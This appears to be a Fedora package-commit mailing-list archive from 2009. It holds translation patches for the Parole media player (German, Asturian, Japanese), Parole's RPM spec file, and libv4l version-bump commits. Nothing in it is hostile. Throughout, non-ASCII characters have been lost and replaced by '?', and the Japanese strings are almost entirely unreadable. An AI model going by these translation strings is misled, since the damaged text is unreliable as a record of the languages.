+msgid "Playing"
+msgstr "Wiedergabe"
+
+#: ../parole/parole-statusbar.c:117
+msgid "Live stream:"
+msgstr "Live-Stream:"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Audio"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "Video"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Audio und Video"
+
+#: ../parole/parole-filters.c:111
+msgid "All supported files"
+msgstr "Unterst?tzte Dateien"
+
+#: ../parole/parole-filters.c:127
+msgid "Playlist files"
+msgstr "Wiedergabelisten-Dateien"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Autor/Betreuer"
+
+#: ../parole/parole-about.c:62
+#, c-format
+msgid "Translator (%s)"
+msgstr "?bersetzer (%s)"
+
+#: ../parole/parole-disc.c:202
+msgid "Play Disc"
+msgstr "Medium abspielen"
+
+#: ../parole/parole-subtitle-encoding.c:165
+msgid "Current Locale"
+msgstr "Derzeitige Standorteinstellungen"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "Arabisch"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Armenisch"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "Baltisch"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Keltisch"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Mitteleurop?isch"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chinesisch (vereinfacht)"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chinesisch (traditionell)"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Kroatisch"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Kyrillisch"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Kyrillisch/Russisch"
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Kyrillisch/Ukrainisch"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "Georgisch"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Griechisch"
+
+#: ../parole/parole-subtitle-encoding.c:249
+msgid "Gujarati"
+msgstr "Gujarati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+msgid "Gurmukhi"
+msgstr "Gurmukhi"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "Hebr?isch"
+
+#: ../parole/parole-subtitle-encoding.c:264
+msgid "Hebrew Visual"
+msgstr "Hebr?isch (visuell)"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Isl?ndisch"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
+msgid "Japanese"
+msgstr "Japanisch"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Koreanisch"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "Nordisch"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Persisch"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Rum?nisch"
+
+#: ../parole/parole-subtitle-encoding.c:300
+msgid "South European"
+msgstr "S?deurop?isch"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Thai"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "T?rkisch"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Westlich"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamesisch"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Ort ?ffnen ?"
+
+#: ../parole/parole-open-location.c:186
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr "<b>Ort einer Mediendatei oder eines Live-Streams ?ffnen:</b>"
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Chronik leeren"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "Titel wird abgespielt"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Titel %i"
+
+#: ../parole/parole-plugins-manager.c:227
+#: ../parole/parole-plugins-manager.c:285
+msgid "Visit Website"
+msgstr "Web-Seite besuchen"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+msgid "Unknown"
+msgstr "Unbekannt"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "Titel:"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Interpret:"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "Album:"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Jahr:"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "Allgemein"
+
+#: ../plugins/properties/stream-properties.c:354
+msgid "Stream doesn't support tags changes"
+msgstr "Stream unterst?tzt keine ?nderungen der Tags"
+
+#: ../plugins/properties/stream-properties.c:361
+msgid "Save media tags changes"
+msgstr "?nderungen der Medien-Tags speichern"
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:490
+msgid "Properties"
+msgstr "Eigenschaften"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:491
+msgid "Read media properties"
+msgstr "Medieneigenschaften lesen"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Playing:</b>"
+msgstr "<b>Wiedergabe:</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Dauer:</b>"
+
+#: ../plugins/tray/tray-icon.c:373
+msgid "Tray icon plugin"
+msgstr "Benachrichtigungsfeld-Plugin"
+
+#: ../plugins/tray/tray-icon.c:383
+msgid "Enable notification"
+msgstr "Benachrichtigungen aktivieren"
+
+#: ../plugins/tray/tray-icon.c:392
+msgid "Always minimize to tray when window is closed"
+msgstr ""
+"Immer ins Benachrichtigungsfeld minimieren, wenn das Fenster geschlossen wird"
+
+#: ../plugins/tray/tray-icon.c:431
+msgid "Minimize to tray?"
+msgstr "Ins Benachrichtigungsfeld minimieren?"
+
+#: ../plugins/tray/tray-icon.c:437
+msgid "Minimize to tray"
+msgstr "Ins Benachrichtigungsfeld minimieren"
+
+#: ../plugins/tray/tray-icon.c:453
+msgid "Are you sure you want to quit Parole"
+msgstr "Sind Sie sicher, dass Sie Parole beenden wollen?"
+
+#: ../plugins/tray/tray-icon.c:457
+msgid "Remember my choice"
+msgstr "Auswahl merken"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:544
+msgid "Tray icon"
+msgstr "Symbol im Benachrichtigungsfeld"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:545
+msgid "Show icon in the system tray"
+msgstr "Symbol im Benachrichtigungsfeld anzeigen"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+msgid "Window title"
+msgstr "Fenstertitel"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+"Fenstertitel auf den Namen des derzeit\n"
+" abgespielten Mediums setzen."
--
cgit v0.8.2.1

parole-0.1.90-update-asturian-translation.patch:
 ast.po |   86 ++++++++++++++++++++++++++++-------------------------------------
 1 file changed, 38 insertions(+), 48 deletions(-)

--- NEW FILE parole-0.1.90-update-asturian-translation.patch ---
>From b9fa73571f68b49b0836404aac4fe2a8419efba8 Mon Sep 17 00:00:00 2001
From: I?igo Varela <malditoastur at gmail.com>
Date: Tue, 06 Oct 2009 11:58:54 +0000
Subject: l10n: Updates to Asturian (ast) translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/ast.po b/po/ast.po
index 09351ad..ae28204 100644
--- a/po/ast.po
+++ b/po/ast.po
@@ -7,8 +7,8 @@ msgid ""
 msgstr ""
 "Project-Id-Version: ast\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-09-03 13:51+0100\n"
+"POT-Creation-Date: 2009-10-06 10:12+0000\n"
+"PO-Revision-Date: 2009-10-06 13:58+0100\n"
 "Last-Translator: astur <malditoastur at gmail.com>\n"
 "Language-Team: Asturian <alministradores at softastur.org>\n"
 "MIME-Version: 1.0\n"
@@ -54,7 +54,8 @@ msgstr "Media player"
 msgid "Mute"
 msgstr "Silenciar"
 
-#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../data/interfaces/parole.ui.h:10
+#: ../parole/parole-player.c:1047
 #: ../parole/parole-disc-menu.c:113
 msgid "Next Chapter"
 msgstr "Siguiente Cap?tulu Chapter"
@@ -63,8 +64,10 @@ msgstr "Siguiente Cap?tulu Chapter"
 msgid "None"
 msgstr "Deng?n"
 
-#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
-#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../data/interfaces/parole.ui.h:12
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:234
+#: ../parole/parole-about.c:51
 #: ../plugins/window-title/window-title.c:40
 msgid "Parole Media Player"
 msgstr "Parole Media Player"
@@ -73,7 +76,8 @@ msgstr "Parole Media Player"
 msgid "Plugins"
 msgstr "Plugins"
 
-#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../data/interfaces/parole.ui.h:14
+#: ../parole/parole-player.c:1059
 #: ../parole/parole-disc-menu.c:114
 msgid "Previous Chapter"
 msgstr "Cap?tulu Previu"
@@ -135,14 +139,12 @@ msgid "<b>Site:</b>"
 msgstr "<b>Sitiu:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
 msgid "Media Player plugins"
-msgstr "Axustes del Reproductor de Medios"
+msgstr "Plugins del Reproductor de Medios"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
 msgid "Parole Plugins"
-msgstr "Preferencies de Complementos de Parole"
+msgstr "Plugins de Parole"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -239,42 +241,39 @@ msgstr "Abrir nueva instancia"
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr ""
+msgstr "Reproducir o posar"
 
 #: ../parole/main.c:186
-#, fuzzy
 msgid "Stop playing"
-msgstr "Amosar llista de reproducci?n"
+msgstr "Detener reproducci?n"
 
 #: ../parole/main.c:187
-#, fuzzy
 msgid "Next track"
 msgstr "Siguiente pista"
 
 #: ../parole/main.c:188
-#, fuzzy
 msgid "Previous track"
 msgstr "Pista previa"
 
 #: ../parole/main.c:189
 msgid "Seek forward"
-msgstr ""
+msgstr "Guetar haza alantre"
 
 #: ../parole/main.c:190
 msgid "Seek Backward"
-msgstr ""
+msgstr "Guetar haza atr?s"
 
 #: ../parole/main.c:191
 msgid "Raise volume"
-msgstr ""
+msgstr "Xubir el volume"
 
 #: ../parole/main.c:192
 msgid "Lower volume"
-msgstr ""
+msgstr "Menor volume"
 
 #: ../parole/main.c:193
 msgid "Mute volume"
-msgstr ""
+msgstr "Silenciar"
 
 #: ../parole/main.c:194
 msgid "Version information"
@@ -290,21 +289,14 @@ msgid "Parole is already running, use -i to open a new instance\n"
 msgstr "Parole y? ta execut?ndose, use -i p'abrir una nueva instancia\n"
 
 #: ../parole/parole-gst.c:1289
-msgid ""
-"Unable to load playbin GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu playbin GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1305
-msgid ""
-"Unable to load video GStreamer plugin, check your GStreamer installation"
-msgstr ""
-"Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n "
-"de GStreamer"
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr "Nun pudo cargase'l complementu video GStreamer, comprebe la so instalaci?n de GStreamer"
 
 #: ../parole/parole-gst.c:1501
-#, fuzzy
 msgid "The stream is taking too much time to load"
 msgstr "El fluxu ta llevando enforma tiempu pa cargar"
 
@@ -330,11 +322,10 @@ msgstr "Permisu torg?u"
 
 #: ../parole/parole-medialist.c:454
 msgid "Unknown playlist format, Please select a support playlist format"
-msgstr ""
-"Formatu de llista desconoc?u, por favor esbille una llista con formatu "
-"sofit?u t?unicamente"
+msgstr "Formatu de llista desconoc?u, por favor esbille una llista con formatu sofit?u t?unicamente"
 
-#: ../parole/parole-medialist.c:520 ../parole/parole-player.c:1591
+#: ../parole/parole-medialist.c:520
+#: ../parole/parole-player.c:1591
 msgid "Playlist"
 msgstr "Llista de reproducci?n"
 
@@ -377,14 +368,16 @@ msgstr "Nun s'alcuentra el Fluxu (stream) de Medios"
 #.
 #. * Next chapter menu item
 #.
-#: ../parole/parole-player.c:1047 ../parole/parole-disc-menu.c:122
+#: ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:122
 msgid "Next Track"
 msgstr "Siguiente pista"
 
 #.
 #. * Previous chapter menu item
 #.
-#: ../parole/parole-player.c:1059 ../parole/parole-disc-menu.c:123
+#: ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:123
 msgid "Previous Track"
 msgstr "Pista previa"
 
@@ -400,7 +393,8 @@ msgstr "Par?u"
 msgid "Finished"
 msgstr "Fin?u"
 
-#: ../parole/parole-statusbar.c:88 ../parole/parole-statusbar.c:96
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
 msgid "Paused"
 msgstr "Pos?u"
 
@@ -697,24 +691,23 @@ msgstr "Activar notificaci?n"
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "Minimizar siempres a la bandexa cuando se zarra la ventana"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "Minimizar a la bandexa?"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "Minimizar a la bandexa"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Daveres quies quitar Parole?"
 
 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "Remembrar llista de reproducci?n"
+msgstr "Remembrar la mio eleici?n"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
@@ -742,12 +735,10 @@ msgstr ""
 
 #~ msgid "gtk-leave-fullscreen"
 #~ msgstr "gtk-leave-fullscreen"
-
 #~ msgid "gtk-close"
 #~ msgstr "gtk-close"
-
 #~ msgid "gtk-properties"
 #~ msgstr "gtk-properties"
-
 #~ msgid "Visite Website"
 #~ msgstr "Visite P?xina Web"
+
--
cgit v0.8.2.1

parole-0.1.90-update-japanese-translation.patch:
 ja.po |   34 +++++++++++++++-------------------
 1 file changed, 15 insertions(+), 19 deletions(-)

--- NEW FILE parole-0.1.90-update-japanese-translation.patch ---
>From 72afaf0774f8afcfbb15c8b4389282ba363bc621 Mon Sep 17 00:00:00 2001
From: Masato Hashimoto <cabezon.hashimoto at gmail.com>
Date: Tue, 06 Oct 2009 09:54:06 +0000
Subject: l10n: Updates to Japanese (ja) translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/ja.po b/po/ja.po
index ec9472c..1da7f9c 100644
--- a/po/ja.po
+++ b/po/ja.po
@@ -8,8 +8,8 @@ msgid ""
 msgstr ""
 "Project-Id-Version: parole 0.1.90\n"
 "Report-Msgid-Bugs-To: \n"
-"POT-Creation-Date: 2009-10-06 10:11+0000\n"
-"PO-Revision-Date: 2009-10-06 00:40+0900\n"
+"POT-Creation-Date: 2009-10-06 18:17+0900\n"
+"PO-Revision-Date: 2009-10-06 18:17+0900\n"
 "Last-Translator: Masato Hashimoto <cabezon.hashimoto at gmail.com>\n"
 "Language-Team: Japanese <xfce-users-jp at ml.fdiary.net>\n"
 "MIME-Version: 1.0\n"
@@ -100,11 +100,11 @@ msgstr "????"
 
 #: ../data/interfaces/parole.ui.h:20
 msgid "Volume Down"
-msgstr "?????????"
+msgstr "?????????"
 
 #: ../data/interfaces/parole.ui.h:21
 msgid "Volume Up"
-msgstr "?????????"
+msgstr "?????????"
 
 #: ../data/interfaces/parole.ui.h:22
 msgid "_Edit"
@@ -135,14 +135,12 @@ msgid "<b>Site:</b>"
 msgstr "<b>???:</b>"
 
 #: ../data/interfaces/plugins.ui.h:4
-#, fuzzy
 msgid "Media Player plugins"
-msgstr "???????????"
+msgstr "??????????????"
 
 #: ../data/interfaces/plugins.ui.h:5
-#, fuzzy
 msgid "Parole Plugins"
-msgstr "Parole ???????"
+msgstr "Parole ?????"
 
 #: ../data/interfaces/parole-settings.ui.h:1
 msgid "<b>Audio</b>"
@@ -174,7 +172,7 @@ msgstr "???????????????"
 
 #: ../data/interfaces/parole-settings.ui.h:8
 msgid "Encoding: "
-msgstr "????????:"
+msgstr "????????: "
 
 #: ../data/interfaces/parole-settings.ui.h:9
 msgid "Font:"
@@ -210,7 +208,7 @@ msgstr "???"
 
 #: ../data/interfaces/save-playlist.ui.h:2
 msgid "Select File Types (By Extension)"
-msgstr "????????? (????)"
+msgstr "?????????? (????)"
 
 #: ../parole/main.c:53
 #, c-format
@@ -239,7 +237,7 @@ msgstr "????????????"
 
 #: ../parole/main.c:185
 msgid "Play or pause if already playing"
-msgstr "??????????????/??"
+msgstr "????????????/????"
 
 #: ../parole/main.c:186
 msgid "Stop playing"
@@ -299,7 +297,7 @@ msgstr ""
 msgid ""
 "Unable to load video GStreamer plugin, check your GStreamer installation"
 msgstr ""
-"video GStreamer ??????????????GStreamer ???????????"
+"video GStreamer ??????????????GStreamer ???????????"
 "?????????????????"
 
 #: ../parole/parole-gst.c:1501
@@ -693,24 +691,23 @@ msgstr "????????"
 
 #: ../plugins/tray/tray-icon.c:392
 msgid "Always minimize to tray when window is closed"
-msgstr ""
+msgstr "???????????????????????"
 
 #: ../plugins/tray/tray-icon.c:431
 msgid "Minimize to tray?"
-msgstr ""
+msgstr "????????????"
 
 #: ../plugins/tray/tray-icon.c:437
 msgid "Minimize to tray"
-msgstr ""
+msgstr "???????"
 
 #: ../plugins/tray/tray-icon.c:453
 msgid "Are you sure you want to quit Parole"
-msgstr ""
+msgstr "Parole ??????????????"
 
 #: ../plugins/tray/tray-icon.c:457
-#, fuzzy
 msgid "Remember my choice"
-msgstr "?????????"
+msgstr "???????"
 
 #. Construct function
 #: ../plugins/tray/tray-icon.c:544
--
cgit v0.8.2.1


--- NEW FILE parole.spec ---
Name:           parole
Version:        0.1.90
Release:        2%{?dist}
Summary:        Media player for the Xfce desktop

Group:          Applications/Multimedia
License:        GPLv2+
URL:            http://goodies.xfce.org/projects/applications/parole
Source0:        http://archive.xfce.org/src/apps/parole/0.1/%{name}-%{version}.tar.bz2
# http://git.xfce.org/apps/parole/commit/?id=346982b9ca86b645b19385fa7549ec43e38c2b88
Patch0:         parole-0.1.90-fix-website-url.patch
# the following patches are just translation updates
# http://git.xfce.org/apps/parole/commit/?id=72afaf0774f8afcfbb15c8b4389282ba363bc621
Patch1:         parole-0.1.90-update-japanese-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=df8ad0098db0d1bc1a2f08b89554607e8ec85b19
Patch2:         parole-0.1.90-include-galician-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=b9fa73571f68b49b0836404aac4fe2a8419efba8
Patch3:         parole-0.1.90-update-asturian-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=051f1a31c797c60ccedd1a36b6403aac9b950ed8
Patch4:         parole-0.1.90-include-french-translation.patch
# http://git.xfce.org/apps/parole/commit/?id=c30195f5b7d372f207d039b07d348d795886d926
Patch5:         parole-0.1.90-include-german-translation.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:  gtk2-devel >= 2.16.0
BuildRequires:  gstreamer-plugins-base-devel >= 0.10.11
BuildRequires:  dbus-devel >= 0.60
BuildRequires:  dbus-glib-devel >= 0.70
BuildRequires:  libxfcegui4-devel >= 4.6.0
BuildRequires:  libnotify-devel >= 0.4.1
BuildRequires:  taglib-devel >= 1.4
BuildRequires:  desktop-file-utils
BuildRequires:  gettext 
BuildRequires:  intltool
# Note from upstream: "No, don't build the doc for now (API for plugins), 
# it is out of date and will not build."
#BuildRequires:  gtk-doc
Requires:       gstreamer-plugins-good

%description
Parole is a modern simple media player based on the GStreamer framework and 
written to fit well in the Xfce desktop. Parole features playback of local 
media files, DVD/CD and live streams. Parole is extensible via plugins.

The project still in its early developments stage, but already contains the 
following features:
* Audio playback
* Video playback with optional subtitle
* Playback of live sources


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
Requires:       %{name} = %{version}-%{release}
#Requires:       gtk-doc

%description    devel
The %{name}-devel package contains header files for developing plugins for 
%{name}.


%prep
%setup -q
%patch0 -p1 -b .orig
%patch1 -p1
%patch2 -p1
%patch3 -p1
%patch4 -p1
%patch5 -p1
# fix desktop file
sed -i 's|Application;|Application|g' data/desktop/%{name}.desktop.in.in


%build
%configure --disable-static #--enable-gtk-doc
make %{?_smp_mflags} V=1


%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT
find $RPM_BUILD_ROOT -type f -name "*.la" -exec rm -f {} ';'
%find_lang %{name}

desktop-file-install                                    \
  --delete-original                                     \
  --dir=%{buildroot}%{_datadir}/applications            \
  %{buildroot}/%{_datadir}/applications/%{name}.desktop


%clean
rm -rf $RPM_BUILD_ROOT


%post
touch --no-create %{_datadir}/icons/hicolor &>/dev/null || :
update-mime-database %{_datadir}/mime &> /dev/null || :


%postun
if [ $1 -eq 0 ] ; then
  touch --no-create %{_datadir}/icons/hicolor &>/dev/null
  gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :
fi
update-mime-database %{_datadir}/mime &> /dev/null || :


%posttrans
gtk-update-icon-cache %{_datadir}/icons/hicolor &>/dev/null || :


%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS COPYING README TODO THANKS
%{_bindir}/%{name}
%dir %{_libdir}/%{name}-0/
%{_libdir}/%{name}-0/*.so
%{_datadir}/applications/%{name}.desktop
%{_datadir}/icons/hicolor/scalable/apps/%{name}.svg
%{_datadir}/%{name}/


%files devel
%defattr(-,root,root,-)
#%doc %{_datadir}/gtk-doc/html/%{name}/
%{_includedir}/%{name}/


%changelog
* Thu Oct 08 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-2
- BuildRequire taglib-devel and fix libnotify requirement

* Wed Oct 07 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.90-1
- Update to 0.1.90
- Loads of additional translations

* Fri Sep 18 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1-0.1
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:54:49 -0000	1.1
+++ .cvsignore	9 Oct 2009 08:42:17 -0000	1.2
@@ -0,0 +1 @@
+parole-0.1.90.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/parole/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:54:49 -0000	1.1
+++ sources	9 Oct 2009 08:42:18 -0000	1.2
@@ -0,0 +1 @@
+acf9085b49cf41469ce41076e6915253  parole-0.1.90.tar.bz2



From jwrdegoede at fedoraproject.org  Fri Oct  9 08:47:38 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  9 Oct 2009 08:47:38 +0000 (UTC)
Subject: rpms/libv4l/devel .cvsignore, 1.20, 1.21 libv4l.spec, 1.21,
	1.22 sources, 1.20, 1.21
Message-ID: <20091009084738.7005B11C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/libv4l/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15940

Modified Files:
	.cvsignore libv4l.spec sources 
Log Message:
* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
- New upstream release 0.6.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libv4l/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	1 Sep 2009 08:07:13 -0000	1.20
+++ .cvsignore	9 Oct 2009 08:47:37 -0000	1.21
@@ -1 +1 @@
-libv4l-0.6.1.tar.gz
+libv4l-0.6.2.tar.gz


Index: libv4l.spec
===================================================================
RCS file: /cvs/extras/rpms/libv4l/devel/libv4l.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- libv4l.spec	1 Sep 2009 08:07:13 -0000	1.21
+++ libv4l.spec	9 Oct 2009 08:47:37 -0000	1.22
@@ -1,5 +1,5 @@
 Name:           libv4l
-Version:        0.6.1
+Version:        0.6.2
 Release:        1%{?dist}
 Summary:        Collection of video4linux support libraries 
 Group:          System Environment/Libraries
@@ -75,6 +75,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
+- New upstream release 0.6.2
+
 * Tue Sep  1 2009 Hans de Goede <hdegoede at redhat.com> 0.6.1-1
 - New upstream release 0.6.1
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libv4l/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	1 Sep 2009 08:07:14 -0000	1.20
+++ sources	9 Oct 2009 08:47:37 -0000	1.21
@@ -1 +1 @@
-0d0d96d77c98871d2e5466c10cb30a0a  libv4l-0.6.1.tar.gz
+06689b91a356f6c0df0471eabc8221ca  libv4l-0.6.2.tar.gz



From jwrdegoede at fedoraproject.org  Fri Oct  9 08:48:54 2009
From: jwrdegoede at fedoraproject.org (Hans de Goede)
Date: Fri,  9 Oct 2009 08:48:54 +0000 (UTC)
Subject: rpms/libv4l/F-12 .cvsignore, 1.20, 1.21 libv4l.spec, 1.21,
	1.22 sources, 1.20, 1.21
Message-ID: <20091009084854.5965B11C00C1@cvs1.fedora.phx.redhat.com>

Author: jwrdegoede

Update of /cvs/extras/rpms/libv4l/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17022

Modified Files:
	.cvsignore libv4l.spec sources 
Log Message:
* Fri Oct  9 2009 Hans de Goede <hdegoede at redhat.com> 0.6.2-1
- New upstream release 0.6.2



